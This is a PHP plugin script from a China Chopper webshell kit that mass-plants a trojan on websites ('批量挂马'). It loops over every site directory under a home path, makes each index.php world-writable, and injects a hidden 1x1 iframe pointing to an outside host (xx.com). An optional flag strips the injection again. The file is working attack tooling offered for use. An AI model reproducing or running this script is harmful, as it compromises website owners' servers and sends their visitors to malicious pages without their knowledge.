webshell/caidao-shell/caidao-plug/PHP批量挂马.ccc

52 lines
1.9 KiB
Text

$p = "/home/xxx/";
$iHere = "function ";//从何处插入
$txt = "print(\"<iframe src='http://xx.com/xx.html' frameborder='0' width='1' height='1'></iframe>\");\r\n";
$bClear = false;//摘马
function gettxt($F)
{
$T = "";
$P = @fopen($F, "r");
$T = @fread($P,filesize($F));
@fclose($P);
return $T;
}
function settxt($F, $T)
{
$P = @fopen($F, "w");
$R = @fwrite($P, $T);
@fclose($P);
return $R;
}
$m = @dir($p);
while(@$f=$m->read())
{
$pf = "${p}/${f}";
if((is_dir($pf))&&($f!=".")&&($f!=".."))
{
$edtfile = "${pf}/index.php";
if (file_exists($edtfile))
{
print $edtfile."\t";
@chmod($edtfile, 0777);
$T = gettxt($edtfile);
if ($bClear)
{
$D = str_replace($txt, "", $T);
}
else
{
$i = strpos($T, $iHere);
if ($i)
{
$D = substr($T, 0, $i).$txt.substr($T, $i);
}
}
print settxt($edtfile, $D)?"seted!\r\n":"\tseterr!\r\n";
}
}
}
$m->close();